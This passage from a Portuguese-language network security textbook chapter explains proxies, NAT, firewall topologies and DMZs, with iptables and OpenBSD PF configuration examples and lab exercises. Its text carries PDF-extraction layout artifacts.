configuração, o que pode aumentar a complexidade da configuração. Outra questão a ser considerada é que o servidor deve ser dimensionado adequadamente para comportar as requisições dos clientes, de modo a não causar atrasos nas conexões. O diagrama abaixo mostra uma típica conexão utilizando um proxy de aplicação.

Cliente A Cliente solicita ao Proxy acesso a recurso do servidor B

Proxy HTTP

Proxy solicita e obtém recurso do servidor B

Servidor B Proxy entrega recurso ao cliente A Figura 3.1 Conexão com proxy de aplicação.

Uma vez configurado corretamente, o usuário não percebe mais a existência do Proxy de aplicação, de modo que tem a impressão de que as requisições são feitas diretamente ao servidor. O Proxy, por outro lado, possui conhecimento detalhado sobre os recursos que

Segurança de Redes e Sistemas

estão sendo solicitados pelo cliente.

54

NAT Network Address Translation (NAT) é um recurso que permite a modificação de um ende-

RFC

reço de rede em um pacote IP durante o seu trânsito em um dispositivo de roteamento.

Request For Comments é um documento que descreve os padrões de cada protocolo proposto para a internet, antes de ser considerado um padrão.

O NAT pode ser utilizado em uma variedade de situações, sendo as mais comuns a “publicação” de um servidor na internet e o acesso de uma rede privativa à internet. Existem tipos diferentes de NAT, com utilidades diferentes. Inicialmente veremos os tipos de NAT existentes e a seguir conheceremos as suas aplicações. O NAT é definido em uma série de RFCs:

11 RFC 1631: The IP Network Address Translator (NAT).RFC 2663: IP Network Address Translator (NAT) Terminology and Considerations. 11 RFC 2766: Network Address Translation – Protocol Translation (NAT-PT). As terminologias variam de acordo com o fabricante que implementa a tecnologia, porém os princípios são os mesmos. 11 SNAT – Source NAT modifica o endereço IP de origem de um pacote, utilizado normalmente para permitir que estações em redes privativas possam acessar a internet diretamente, através da modificação do endereço privativo para um endereço válido na internet. 11 DNAT – Destination NAT modifica o endereço IP de destino de um pacote, utilizado normalmente para permitir que servidores em redes privativas possam ser acessados através da internet. 11 NAT estático – utiliza um endereço IP diferente para cada endereço que necessita ser traduzido. Também chamado de NAT um-para-um (1-1). 11 NAT dinâmico – traduz diversos endereços IP para um único endereço traduzido. Também chamado de NAT N-para-1 (N-1). Esse tipo de NAT permite que uma rede inteira acesse a internet utilizando um único endereço válido e muitas vezes é chamado de masquerading. Ele é usado por empresas que possuem poucos endereços IP. Durante as atividades práticas do Capítulo 3, serão vistos em mais detalhes os diferentes tipos de NAT e sua implementação.

Exercício de fixação 1 e Filtros de pacotes Explique o que são filtros de pacotes dinâmicos.

Exercício de fixação 2 e Servidores proxy

Topologias de firewall Não existe uma fórmula para se planejar um firewall, pois isso vai depender das parti-

q

cularidades de cada rede e da experiência do profissional encarregado. Porém, existem algumas arquiteturas que podem servir de base para a construção de uma solução completa. Nos itens a seguir veremos algumas dessas arquiteturas básicas.

Dual-Homed Essa é a topologia mais simples, que consiste em apenas uma máquina conectada tanto à rede pública quanto à rede protegida, porém com a função de roteamento desabilitada. Dessa forma, para a rede protegida acessar a rede pública, ela necessitará utilizar algum recurso presente na máquina em questão, como um Proxy ou NAT. A figura 3.2 mostra uma topologia dual-homed.

q

Capítulo 3 - Firewall – Conceitos e Implementação

O que são servidores proxy?

55

Screened Host Nessa arquitetura, a rede interna está conectada à internet (rede pública) através de

q

um roteador com o recurso de filtros de pacotes. Esse é chamado de screening router. Os serviços são providos através de uma máquina da rede interna, chamada de bastion host (ou bastião). O bastião é a única máquina com acesso à internet, garantido através da configuração de filtros de pacotes no roteador. Dessa forma, as outras estações não possuem acesso direto, devendo utilizar os serviços disponíveis no bastion (proxies). Exemplos de configuração dos filtros de pacotes: 11 Permitir que o bastião acesse a internet, utilizando os serviços permitidos pela política de segurança da organização. 11 Permitir que as estações da rede interna acessem o bastião, utilizando os serviços permitidos. Lembre-se de que o bastião necessita de um endereço IP válido para acessar a internet ou que o roteador realize NAT para permitir esse acesso. Dessa forma, apesar de estarem na mesma rede física, as estações necessitam acessar o roteador para alcançar o bastião, visto que ele se encontra em outra rede lógica. 11 Negar conexões das estações da rede interna para a internet.

Internet

Roteador de filtragem

Estação

Bastion Host

Estação

Figura 3.2 Topologia dual-homed.

Estação

Note que o firewall corresponde nesse caso ao conjunto composto pelo bastion host e o screening router.

Screened Subnet Essa arquitetura adiciona uma camada extra de segurança em relação à anterior, através

q

de uma rede extra chamada de perímetro ou Zona Desmilitarizada (DMZ). Essa rede cria

DMZ

um isolamento entre a rede interna e a internet. A vantagem principal é que os bastion

DeMilitarized Zone é a parte da rede onde o nível de segurança é um pouco menor e onde se concentram os serviços públicos.

hosts ficam em uma rede isolada, de forma que defesas extras podem ser aplicadas para impedir que um bastion host comprometido tenha acesso à rede interna, aplicando o Segurança de Redes e Sistemas

conceito de defesa em profundidade.

56

A rede DMZ fica protegida por dois roteadores, um externo ligado à internet e um interno ligado à rede interna. Esses roteadores devem ser configurados corretamente para permitir apenas as conexões estritamente necessárias. Os bastion hosts continuam a ser o contato com a rede pública e possuem serviços para a rede interna, como proxies e serviços públicos como correio eletrônico e páginas www públicas.

Internet

Roteador

Bastion

externo

DMZ

Roteador interno Figura 3.3 Rede DMZ protegida por dois roteadores.

Rede interna

Variações Algumas variações podem ser feitas em relação às topologias apresentadas. A seguir algumas variações comuns: 11 Múltiplos bastion hosts: caso diversos serviços estejam sendo oferecidos ou haja uma razão para ter serviços divididos em diferentes servidores (redundância), pode-se colocar mais de uma máquina na rede DMZ. Lembre-se de configurar as regras de filtragem de acordo com os roteadores. 11 Junção dos roteadores internos e externos: essa é uma variação muito comum, visto que a junção dos roteadores reduz custos. Lembre-se de que nesse caso o comprometimento do roteador compromete a arquitetura inteira. 11 Junção do bastion host com o roteador externo: não é muito comum, pois normalmente a conexão à internet requer um hardware específico por conta dos requisitos das operadoras de telecomunicação (seriais síncronas, fibras ópticas etc.), mas pode ser adotado sem problemas. Não é recomendada a junção com o roteador interno, uma vez que, caso o bastião seja comprometido, a rede interna estará exposta. 11 Múltiplos perímetros: outra variação comum, comum ao se referir a uma DMZ ou a uma 11 Firewalls internos: usados para separar redes com maior requisito de segurança ou conexões que necessitem de um nível de proteção maior.

Montando uma topologia complexa É importante que se tenha em mente que não existe solução perfeita ou ideal quando se fala em construir um firewall. Uma topologia de segurança de perímetro depende muito da rede em questão, suas subdivisões, conexões com outras redes, níveis de segurança, conexões à internet e outras questões. A figura abaixo mostra um exemplo de topologia mais complexa.

q

Capítulo 3 - Firewall – Conceitos e Implementação

extranet, rede usada para conectar outras redes externas.

57

Internet

Roteador

Bastion

externo

Extranet

DMZ

Roteador

Bastion

interno 1

Rede interna

Roteador

Rede segura

interno 2

Durante as atividades práticas será exercitada a construção de topologias de firewall.

Figura 3.4 Exemplo de topologia complexa.

Exercício de fixação 3 e Topologias de firewall Quais são as arquiteturas de firewall?

Exercício de fixação 4 e Screened Subnet Explique o que é DMZ. Sua organização possui DMZ?

Implementação de firewalls Existem diversas soluções desenvolvidas sob o critério de licença de software livre que implementam o controle de acesso perimetral em redes TCP-IP. Soluções mais comuns: Netfilter (Iptables), para Linux; Ipfilter (IPF) e IP Firewall (IPFW), para FreeBSD; Packet Filter (PF), para OpenBSD, e FreeBSD. Ao final deste capítulo o aluno terá um resumo das principais características de cada uma das implementações, realizando atividades práticas de implantação de controle perimetral. Segurança de Redes e Sistemas

Assim estará apto a configurar ferramentas de filtragem de pacotes, proxy HTTP e NAT.

58

Netfilter (Iptables) O Iptables é um framework capaz de realizar filtros de pacotes, tradução de endereços

q

de rede e tradução de número de portas TCP e UDP, além de outros tipos de manipulação de pacotes TCP/IP. Ele foi desenvolvido para trabalhar integrado com o Linux kernel 2.4 e 2.6. Surgiu da reescrita e evolução dos códigos do Ipfwadm para o Linux kernel 2.0 e do Ipchains para o Linux kernel 2.2.

Uma virtude do Netfilter é suportar módulos, permitindo implementações das mais simples às mais sofisticadas. O objetivo deste curso não é o de esgotar as características do Netfilter, mas sim orientar o aluno no entendimento de um sistema de firewall, para um possível aprofundamento futuro. Principais características:

q

11 Stateless packet filtering (IPv4 e IPv6). 11 Stateful packet filtering (IPv4 e IPv6). 11 Tradução de endereço e portas (IPv4). 11 Desenvolvido para ser flexível e extensível. API Conjunto de rotinas e padrões estabelecidos por um software para a utilização de suas funcionalidades por programas aplicativos que não precisam envolver-se nos detalhes da implementação do software.

11 API de várias camadas para implementação de complementos de terceiros. 11 Grande número de softwares adicionais (plugins) e módulos mantidos no repositório do Netfilter. Antes de entrar nos comandos de configuração do Iptables, é importante conhecer alguns conceitos importantes envolvidos, apresentados a seguir: 11 Stateless é uma técnica de controle simples baseada apenas na verificação de cabeçalhos dos pacotes TCP/IP, não observando o estado da conexão (Three Way Handshake). Atualmente, o Iptables suporta verificação de pacotes TCP/IP versões 4 e 6. 11 Statefull é uma técnica de controle de pacotes TCP/IP baseada no estado da conexão, mantendo tabelas com o estado das conexões e criando regras automáticas, quando necessário, para a volta dos pacotes. Também suporta atualmente controle de pacotes IPv4 e IPv6. Corresponde ao stateful inspection. 11 Tradução de endereços IP e portas TCP ou UDP são técnicas implementadas pelo Netfilter que visam atender à RFC 1918. O Netfilter denomina de NAT a tradução de endereço IP e de NAPT a tradução de portas TCP e UDP, sendo até o momento suportado apenas no protocolo IPv4.

Implementação do Netfilter A sintaxe do Netfilter pode parecer confusa no início. O objetivo da linguagem é permitir implementações robustas. O Netfilter permite a manipulação desde as regras mais simples até as mais complexas, onde é possível reduzir o volume do arquivo de configuração e faci-

Para compreender a sintaxe do Netfilter, precisamos inicialmente conhecer o significado dos termos e expressões de manipulação de pacotes: 11 Drop/Deny: quando um pacote sofre Drop ou Deny, é descartado e nenhuma outra ação é realizada; o pacote simplesmente desaparece. 11 Reject: quando um pacote sofre a ação Reject, é descartado e uma mensagem é enviada para o host origem informando seu descarte. Kernel Componente central do sistema operacional responsável por fornecer os recursos computacionais disponibilizados pelo hardware aos aplicativos.

11 Accept: ação contrária ao Drop ou Reject, indica ao Iptables para aceitar e encaminhar o pacote. 11 State: estado específico de um pacote em uma conexão TCP/IP. Por exemplo: o primeiro pacote de uma conexão TCP é o pacote com a opção SYN ligada. O estado da conexão é conhecido através do sistema de rastreamento de conexões, que mantém uma base de dados com o estado de todas as conexões. Essa base fica em uma área dentro do kernel

Capítulo 3 - Firewall – Conceitos e Implementação

litar o entendimento dos objetivos do(s) filtro(s).

do Linux, sendo controlada automaticamente por ele. 59

11 Chain: cadeia de conjuntos de regras que são aplicadas em momentos distintos no kernel do Linux. As três principais chains são INPUT, OUTPUT e FORWARD: 22 INPUT: utilizada quando os pacotes têm como endereço IP de destino o próprio endereço do firewall. 22 OUTPUT: utilizada quando o pacote é originado pelo firewall e sai por alguma interface de rede. 22 FORWARD: utilizada quando um pacote atravessa o firewall, não tendo como destino o próprio firewall. Daqui podemos verificar que as chains INPUT e OUTPUT protegem o próprio firewall, e a chain FORWARD protege o que estiver atrás dele. 11 Table: o Iptables possui quatro tabelas, cada uma com propósitos específicos: 22 Nat: utilizada para manipulação de tradução de endereços IP. Os pacotes podem ter os endereços de origem, destino, porta de origem e de destino alterados de acordo com o especificado na regra. Para a tradução de pacotes é necessário especificar apenas a tradução do pacote inicial da conexão, de modo que todos os pacotes seguintes pertencentes à essa conexão serão automaticamente traduzidos. 22 Mangle: utilizada principalmente para manipulação de pacotes IP. É possível manipular o conteúdo de diferentes pacotes e seus cabeçalhos, como os campos QoS e TTL, entre outros. 22 Filter: utilizada exclusivamente para filtros de pacotes, de forma a realizar DROP, LOG, ACCEPT e REJECT de pacotes TCP/IP, conforme foi visto. 22 Raw: utilizada quando desejamos filtrar um pacote, mas não queremos monitorar o estado da conexão. Dessa forma, estamos fazendo um filtro de pacotes simples. 11 Match: termo utilizado quando um pacote “encaixa” em uma determinada regra; dizemos que o pacote “deu match” em uma determinada regra do Iptables. 11 Target: termo utilizado para informar o que será feito com os pacotes que “derem match” em determinada regra; o target pode ser Accept, Drop, Reject etc. 11 Rule: uma regra é definida como um match ou conjunto de matches de pacotes com um único target. 11 Ruleset: conjunto de regras (rules) de todo o firewall, normalmente agrupado em um arquivo de configuração, para inicialização do Iptables. 11 Jump: instrução ligada ao target. Se um pacote “der match” em uma instrução de jump, será analisado por um conjunto de regras extras, definidas no próprio jump. A sintaxe é similar à de target (jump em vez de target). 11 Connection tracking: característica do firewall de analisar o estado da conexão e manter em uma base de dados interna. Assim, o firewall é capaz de saber a qual conexão pertence um pacote, aumentando de forma drástica a segurança do sistema de firewall, já Segurança de Redes e Sistemas

que pacotes que não fazem parte de conexões legítimas são automaticamente des-

60

cartados. Essa característica tem um custo computacional elevado para o firewall, o que também ocorre com o Iptables, gerando a necessidade de mais recursos de CPU e memória do sistema. 11 Policy: política padrão de funcionamento do firewall (default permit e default deny). Em se tratando de Iptables, podemos definir a policy como ACCEPT ou DROP, de acordo com a ação padrão que será dada a um pacote que não “der match” em nenhuma regra específica.

Modo de operação do Netfilter O Netfilter interage com o kernel do Linux baseado na decisão de encaminhamento de

q

pacotes. O modo de funcionamento é resumido na próxima figura.

Kernel Entrada roteamento

Figura 3.5 Processo de decisão do Netfilter.

Input

Forward

Processo local

Saída

Output

Capítulo 3 - Firewall – Conceitos e Implementação

Tipo de

61

A representação completa do funcionamento do Iptables é apresentada na Figura 3.6.

Network

raw PREROUTING

mangle INPUT

mangle mangle PREROUTING INPUT

filter mangle INPUT INPUT

nat PREROUTING

Segurança de Redes e Sistemas

Local Process

Routing Decision

mangle mangle FORWARD INPUT

raw OUTPUT

filter FORWARD

mangle OUTPUT

Routing Decision

nat OUTPUT

mangle mangle INPUT POSTROUTING

filter mangle OUTPUT INPUT

nat POSTROUTING Figura 3.6 Detalhamento do processo de encaminhamento do Iptables. Fonte: Frozentux.

Network

Chains do Netfilter: 11 PREROUTING 11 INPUT 11 FORWARD

62

Routing Decision

q

11 OUTPUT

q

11 POSTROUTING Tabela Nat Consultada quando o pacote responsável pela criação da nova conexão é encontrado. Utilizada para roteamento de pacotes entre redes diferentes. Tabela Mangle Realiza alterações especiais de maneira a auxiliar a filtragem de pacotes. Utiliza nos cabeçalhos dos pacotes o TOS (Type of Service) que especifica o tipo de serviço ao qual o pacote se destina. Tabela Raw Utilizada principalmente para configurar exceções no módulo ip_contrack do kernel. Primeira dentre as tabelas no núcleo do netfilter, facilita a exclusão de pacotes antes de serem processados na memória. As chains do Netfilter são definidas de acordo com o momento do processamento do pacote pelo kernel do Linux, podendo ser: 11 PREROUTING: nessa chain o pacote é tratado no momento em que chega à máquina, antes de alcançar a fase de roteamento do kernel; nesse momento, podemos tratar apenas os pacotes das tabelas Raw, Mangle e Nat. 11 INPUT: nessa chain são tratados os pacotes destinados ao firewall no momento anterior à entrega ao sistema responsável pelo processamento desses pacotes. Nessa chain podem ser analisados os pacotes das tabelas Mangle e Filter. 11 FORWARD: nessa chain são tratados os pacotes que não são destinados ao firewall e serão encaminhados a outro host na rede. Nessa chain podem ser analisados os pacotes das tabelas Mangle e Filter. 11 OUTPUT: nessa chain são tratados os pacotes gerados por processos do próprio host, que serão enviados à rede. Nessa chain podem ser analisados os pacotes das quatro tabelas. 11 POSTROUTING: nessa chain são analisados pacotes que estão saindo do firewall e não sofrerão nenhum outro tipo de processamento pelo host. Nessa chain são permitidas manipulações apenas de pacotes das tabelas Mangle e Nat.

Explique o funcionamento do Netfilter, usando como base o Iptables.

Controle perimetral 11 Controle de acesso ao firewall.

q

11 Controle de acesso através do firewall. As chains INPUT e OUTPUT do Netfilter serão manipuladas para controlar o acesso ao firewall, como as conexões que serão permitidas ao firewall. A chain FORWARD será utilizada para controlar os pacotes que serão permitidos através do firewall. Dessa forma, as pri-

Capítulo 3 - Firewall – Conceitos e Implementação

Exercício de fixação 5 e Netfilter

meiras protegem o firewall em si e a última protege as redes atrás dele. 63

Segue um exemplo de configuração de Dual-Homed firewall utilizando Iptables, com o objetivo de gerar logs dos pacotes ICMP destinados ao firewall (que são encaminhados pelo firewall) e dos que são gerados pelo firewall; a barra invertida “\” indica que a regra continua na próxima linha:

iptables –P INPUT ACCEPT # Define a regra padrão permitir iptables –P OUTPUT ACCEPT

# todos pacotes que chegarem

iptables –P FORWARD ACCEPT

# ao firewall

iptables -t filter -A INPUT -p icmp --icmp-type echo-request \ -j LOG --log-prefix=”filter INPUT:” iptables -t filter -A INPUT -p icmp --icmp-type echo-reply \ -j LOG --log-prefix=”filter INPUT:” iptables -t filter -A OUTPUT -p icmp --icmp-type echo-request \ -j LOG --log-prefix=”filter OUTPUT:” iptables -t filter -A OUTPUT -p icmp --icmp-type echo-reply \ -j LOG --log-prefix=”filter OUTPUT:” iptables -t filter -A FORWARD -p icmp --icmp-type echo-request \ -j LOG --log-prefix=”filter FORWARD:” iptables -t filter -A FORWARD -p icmp --icmp-type echo-reply \ -j LOG --log-prefix=”filter FORWARD:” Os comandos são parâmetros passados para o Iptables durante a configuração das regras. Principais parâmetros do Iptables: -P: utilizado para definir a política padrão. Exemplo:

Iptables –P FORWARD DROP Esse comando especifica que a ação padrão do firewall para FORWARD (passagem) de pacotes será DROP (descarte os pacotes). -t: especifica a tabela usada pelo Iptables; se não especificada, o padrão é filter (no exemplo acima não havia a necessidade do parâmetro –t filter). Exemplo:

iptables –t nat –L

Segurança de Redes e Sistemas

-L: lista as regras definidas para o Iptables. Exemplo:

64

iptables –L -F: (Flush) apaga todas as regras aplicadas em uma tabela. Exemplo:

iptables –t nat –F -A: (Append) adiciona uma regra no final de uma tabela. Exemplo:

iptables –A INPUT –i eth0 –j DROP

-j: ( Jump) indica a ação ou o target da regra. Exemplo:

iptables –A INPUT –i eth0 –j ACCEPT O conjunto de comandos apresentados consiste em apenas um subconjunto dos comandos existentes na ferramenta. O conjunto completo de comandos pode ser visto na man page do Iptables, acessível através do comando:

man iptables Durante as atividades práticas, alguns comandos do Iptables serão exercitados.

Tradução de IP (NAT) O Iptables tem uma tabela especial para manipulação de tradução de endereço IP nos pacotes TCP/IP. Essa tabela será utilizada para a realização de controle de NAT das conexões, sendo elas: SNAT, DNAT, NAT Estático e NAT Dinâmico, conforme apresentado no capítulo 2. Alguns exemplos de configuração de NAT serão vistos a seguir.

SNAT Esse NAT foi concebido para modificar o endereço IP de origem em uma conexão TCP/ IP, como, por exemplo, alterar o endereço IP de origem de uma conexão TCP/IP de uma máquina da rede interna (com endereço IP reservado que não pode ser roteado pela internet) para um endereço público de rede IP:

# POSTROUTING statements for 1:1 NAT # (Conexões da rede Interna para a rede de servidores)

iptables -t nat -A POSTROUTING -s 192.168.1.100 -o eth0 \ -j SNAT --to-source 200.200.200.1

# POSTROUTING NAT de Um-para-Muitos

iptables -t nat -A POSTROUTING -s 192.168.1.0/24 –o eth0 \ -j SNAT --to-source 200.200.200.2 Nos exemplos acima foram usados parâmetros para identificação da origem do pacote, que podem ser usados em qualquer regra, não somente em regras de NAT. São eles: 11 -s: define a origem do pacote, que pode ser um único endereço IP ou uma rede, como nos exemplos acima. 11 -o: define a interface de saída do pacote. Nos exemplos acima, para serem sujeitos às regras, os pacotes devem sair pela interface eth0. Para identificação do destino, podemos usar o parâmetro –d de forma análoga, assim como o parâmetro –i para indicar a interface de entrada.

Capítulo 3 - Firewall – Conceitos e Implementação

# (Conexões originadas na rede Internet)

65

DNAT Esse NAT, justamente como sugere o nome, foi concebido para realizar a troca do endereço IP de destino de uma conexão TCP/IP. No exemplo a seguir, temos um servidor em uma rede com endereço privado, que não é roteável pela internet. Assim foi disponibilizado um endereço IP público que deve ser traduzido para o endereço IP privado ao passar pelo NAT.

# (Conexões da Internet acessando servidor Interno) iptables -t nat -A PREROUTING --dst 200.200.200.10 –p tcp \ --dport 80 -j DNAT --to-destination 172.16.21.2 Nesse exemplo, verificamos dois novos parâmetros: –p, que indica o protocolo em questão (exemplos: TCP, UDP, ICMP) e –dport, que indica a porta de destino. De forma análoga, –sport serve para indicar a porta de origem.

NAT Dinâmico Diferente dos casos anteriores, onde havia traduções de endereços IP de Um para Um, ou que normalmente chamamos de estáticos. Há também a necessidade de tradução de vários endereços IP de uma rede para um único endereço IP ou um pequeno grupo de endereços IP. Nesse exemplo, temos uma rede local com endereços IP privados, que ao estabelecer conexão com a internet precisa de endereço de origem válido; para isso, todas as conexões TCP/IP saem com o endereço IP válido da interface externa do firewall.

# Conexões da Rede Interna para a INTERNET iptables -t nat -A POSTROUTING –s 192.168.1.0/24 –o eth0 -j

BSD

MASQUERADE

Packet Filter (PF) 11 Ativação

q

11 Controle 11 Configuração 22 Ação – block ou pass 22 Direção 22 Log 22 Quick 22 Família de endereço IP – inet ou inet6

Segurança de Redes e Sistemas

22 Protocolo

66

22 Endereço de origem ou destino 22 Porta de origem ou destino 22 Sinalizadores TCP O Packet Filter (PF) foi desenvolvido no OpenBSD e é a opção padrão de firewall para essa versão do BSD (Berkeley Software Distribution). Foi portado para o FreeBSD a partir de julho de 2003 e encontra-se disponível nos Ports do FreeBSD.

Sistema operacional Unix desenvolvido pela Universidade de Berkeley nos anos 70. Hoje não é um único sistema operacional, mas uma extensa família derivada do original. Membros mais conhecidos: FreeBSD, OpenBSD, NetBSD e Darwin (base do Mac OS X). Ports Também conhecido por Sistema de Ports ou Coleção de Ports, é um sistema de organização dos aplicativos instalados no sistema operacional FreeBSD. Posteriormente foi migrado para outras plataformas, como OpenBSD, NetBSD e Mac OS X.

Para instalação do PF no FreeBSD é necessário compilar o kernel do FreeBSD com suporte ao PF, habilitando os módulos necessários. Para o funcionamento do PF no FreeBSD é necessário adicionar as seguintes linhas de comando no arquivo de configuração /etc/rc.conf, conforme mostrado abaixo:

pf_enable=”YES”

# Habilita PF (se necessário

inicia os módulos) pf_rules=”/etc/pf.conf” # arquivo de configurações das regras do PF pf_flags=”” # Parâmetros adicionais para iniciar o PF pflog_enable=”YES” pflog_logfile=”/var/log/pflog”

# Inicia pflogd(8)

# Onde serão armazenados os logs do PF

pflog_flags=”” # Parâmetros adicionais ao iniciar os logs

Ativação Ocorre automaticamente editando o arquivo de configuração /etc/rc.conf conforme citado ou manualmente com os seguintes comandos:

# pfctl –e # Para habilitar (enable) # pfctl –d # Para desabilitar (disable) Quando a ativação ocorrer manualmente, o PF não carregará automaticamente o conjunto de regras do arquivo de configuração, o que terá de ser feito manualmente.

Controle Após iniciado o PF, pode ser utilizada a ferramenta pfctl para realizar as verificações e controle do PF. Seguem os principais controles:

# pfctl -f /etc/pf.conf

Carrega o arquivo pf.conf

# pfctl -nf /etc/pf.conf Analisa o arquivo, mas não carrega-o # pfctl -Nf /etc/pf.conf Carrega apenas as regras de NAT do arquivo

arquivo # pfctl -sn

Mostra as regras atuais de NAT

# pfctl -sr

Mostra as regras atuais de filtragem

# pfctl -ss

Mostra a tabela de estados atual

# pfctl -si

Mostra as estatísticas e os contadores de

filtragem # pfctl -sa

Retorna TUDO o que pode ser mostrado

Capítulo 3 - Firewall – Conceitos e Implementação

# pfctl -Rf /etc/pf.conf Carrega apenas as regras de filtragem do

67

Configuração A sintaxe do PF pode ser resumida da seguinte forma:

ação [direção] [log] [quick] [on interface] [fam_de_end] [proto protocolo] \ [from end_de_or [port porta_de_or]] [to end_de_dest [port porta_ de_dest]] \ [flags sinalizadores_tcp] [estado] 11 Ação: executada nos pacotes que corresponderem à regra. Pode ser pass ou block. 11 Direção: sentido do fluxo do pacote na interface. Pode ser in (entrando) ou out (saindo). 11 Log: especifica que o pacote deve ser logado. 11 uick: significa que essa deve ser a última regra a ser analisada, não verificando as regras seguintes. 11 Interface: nome da interface de rede que o pacote está passando, como fxp0 e en0. 11 Fam_de_end: protocolo que está sendo analisado; inet para IPv4 e inet6 para IPv6. 11 Protocolo: protocolo da camada de transporte que está sendo analisado, pode ser TCP, UDP ou qualquer outro protocolo especificado no arquivo /etc/protocols. 11 End_de_or, end_de_dest: endereços de origem e/ou destino especificado no cabeçalho dos pacotes IP. Pode ser especificado endereço de host, blocos CIDR com uso da barra, por exemplo: 192.168.1.0/24. 11 Porta_de_or, porta_de_dest: especifica o número da porta do cabeçalho da camada de transporte. Pode ser representado por número de 1 a 65535, um nome de serviço válido no arquivo /etc/services, um grupo de portas usando uma lista, ou ainda um range utilizando os seguintes símbolos: 22 != (diferente de) 22 < (menor que) 22 > (maior que) 22 = (maior ou igual a) 22 >< (uma faixa) 11 Sinalizadores TCP: especificam as flags do cabeçalho TCP para serem analisadas, como por exemplo AS, que verifica se as flags SYN e ACK estão ligadas. Uma regra pode ser criada, por exemplo, para permitir acesso ao serviço SSH, tendo como Segurança de Redes e Sistemas

origem da conexão o endereço IP de um segmento de rede:

68

pass in quick on fxp0 proto tcp from 192.168.1.4/30 to 192.168.1.1 port ssh block in quick on fxp0 proto tcp from any to any port ssh pass in all

Firewall Builder

q

11 Interface gráfica. 11 Padronização da configuração. 11 Minimização de erros. O uso de ferramenta gráfica para gerenciamento de firewalls é fortemente recomendado, sobretudo quando os firewalls se tornam muito complexos. O uso de ferramentas gráficas

reduz o tempo de configuração e diminui de forma drástica a possibilidade de erro na codificação da regra desejada. O Firewall Builder é um projeto disponível em dois tipos de licença, software livre para Linux e FreeBS, e licença comercial para Windows e MAC OS. É instalado na máquina do administrador do firewall, que envia a sintaxe para o firewall, que a escreve automaticamente para o host do Iptables. É uma ferramenta capaz de manipular regras do Packet Filter (PF do

Figura 3.7 Exemplo de configuração Netfilter.

A configuração gráfica da figura 3.7 representa os seguintes comandos no Iptables:

# iptables –F

# Limpa todas regras do

Iptables # iptables –P INPUT ACCEPT

# Define a regra padrão

permitir # iptables –P OUTPUT ACCEPT

# todos pacotes que chegarem

# iptables –P FORWARD ACCEPT

# ao firewall

Capítulo 3 - Firewall – Conceitos e Implementação

OpenBSD e FreeBSD) e outros roteadores e firewalls comerciais.

69

# iptables -A FORWARD -i eth1 -d 192.168.1.0/24 -j DROP # Bloqueia o tráfego com # iptables -A INPUT -i eth1 -d 192.168.1.0/24 -j DROP # destino à rede 192.168.1.0 # os comandos abaixo liberam as portas destino 80/TCP, 53/TCP e 53/ UDP com origem # na rede 192.168.1.0 # iptables -A FORWARD -i eth0 -s 192.168.1.0/24 -p tcp --dport 80 -j ACCEPT # iptables -A FORWARD -i eth0 -s 192.168.1.0/24 -p tcp --dport 53 -j ACCEPT # iptables -A FORWARD -i eth0 -s 192.168.1.0/24 -p udp --dport 53 -j ACCEPT # iptables -L -n Chain INPUT (policy ACCEPT) target

prot opt source

destination

DROP

all

192.168.1.0/24

--

0.0.0.0/0

Chain FORWARD (policy ACCEPT) target

prot opt source

destination

DROP

all

--

0.0.0.0/0

192.168.1.0/24

ACCEPT

tcp

--

192.168.1.0/24

0.0.0.0/0

tcp

tcp

--

192.168.1.0/24

0.0.0.0/0

tcp

udp

--

192.168.1.0/24

0.0.0.0/0

udp

dpt:80 ACCEPT dpt:53 ACCEPT dpt:53

Chain OUTPUT (policy ACCEPT)

Segurança de Redes e Sistemas

target

70

#

prot opt source

destination

Roteiro de Atividades 3 Atividade 1 – Filtros de pacotes Na criação de regras em filtros de pacotes é preciso traduzir os acessos que queremos permitir ou bloquear, em regras baseadas em endereços IP, portas e flags. Utilizando a linguagem fictícia dos exemplos, crie regras para as seguintes situações. Caso seja necessário, invente uma sintaxe para novos parâmetros: 1. Permitir conexões TCP (ida e volta) para envio de correio eletrônico para um servidor

SMTP no endereço IP 192.168.5.1. 2. Bloquear conexões provenientes do endereço IP 192.168.4.5. 3. Permitir conexões UDP para o servidor DNS, endereço IP 192.168.10.5. 4. Permitir pacotes ICMP echo-request e echo-reply (ping). 5. Pesquise na internet informações de portas e parâmetros para auxílio na elaboração

das regras.

Atividade 2 – Topologias de firewall Durante a parte teórica, vimos alguns modelos de topologias de firewall. Apesar de didáticos, em situações da vida real eles devem ser adaptados para cada tipo de rede que encontramos. Com base nas topologias a seguir, procure criar um perímetro, respeitando o princípio do ponto único e pensando no mínimo de exposição da rede à internet. 1.

Internet

8 Mbps

20 Mbps

Intranet

Servidor de banco de dados

Servidor de e-mail

Servidor de aplicações web

R1

Servidor mainframe

PC

PC

PC

PC

Capítulo 3 - Roteiro de Atividades

R2

71

2.

Servidor de e-mail

20 Mbps

Internet Servidor de aplicações web

R1

R2

Servidor de banco de dados

Servidor mainframe

PC

PC

PC

PC

Atividade 3 – Topologias de firewall A partir desta atividade o roteiro está dividido em três partes. Na primeira, o aluno programará um controle de pacotes para permitir a comunicação entre os hosts descritos na topologia do laboratório. Na segunda parte, programará a tradução de pacotes. Na terceira e última parte, o aluno vai gerenciar toda a configuração feita com uma interface de gerência gráfica.

Figura 3.8 Topologia do laboratório.

Internet

Topologia A

FWGW1

DHCP

Topologia B

FWGW1

DHCP

Segurança de Redes e Sistemas

DMZ 172.16.1.0/24

72

Servidor Windows

DMZ 172.16.2.0/24

Servidor Linux

Servidor Linux Rede local 10.1.1.0/24

Host Windows

Rede local 10.1.2.0/24

Host Windows

Servidor Windows

O laboratório será dividido em dois grupos, definidos pelo instrutor. Cada aluno participará apenas de um grupo: Topologia A ou Topologia B. Observe que o endereço IP das redes é diferente para cada grupo: 11 Rede Local: 10.1.G.0/24 11 Rede DMZ: 172.16.G.0/24 Onde: 11 G =1 – Grupo Topologia A 11 G=2 – Grupo Topologia B A figura 3.9 mostra uma listagem com a descrição dos serviços disponibilizados pelos servidores da DMZ. Serviço

Protocolo

Porta

Descrição

Win2008

IIS

TCP

80

Servidor de aplicação web

Win2008

IIS

TCP

443

Servidor de aplicação web

Win2008

FTP

TCP

21

Servidor de arquivos FTP

Win2008

RDP

TCP

3389

Servidor de conexão remota

Win2008

NTP

UDP

123

Servidor de hora

LinServer

Apache

TCP

80

Servidor de páginas HTML

LinServer

Bind

UDP

53

Servidor de resolução de nomes

LinServer

Postgres

TCP

5432

Servidor de banco de dados

LinServer

Postfix

TCP

25

Servidor de mensagens

LinServer

Postfix

TCP

110

Servidor POP3

LinServer

SSH

TCP

22

Servidor de comandos remotos

LinServer

NTP

UDP

123

Servidor de hora

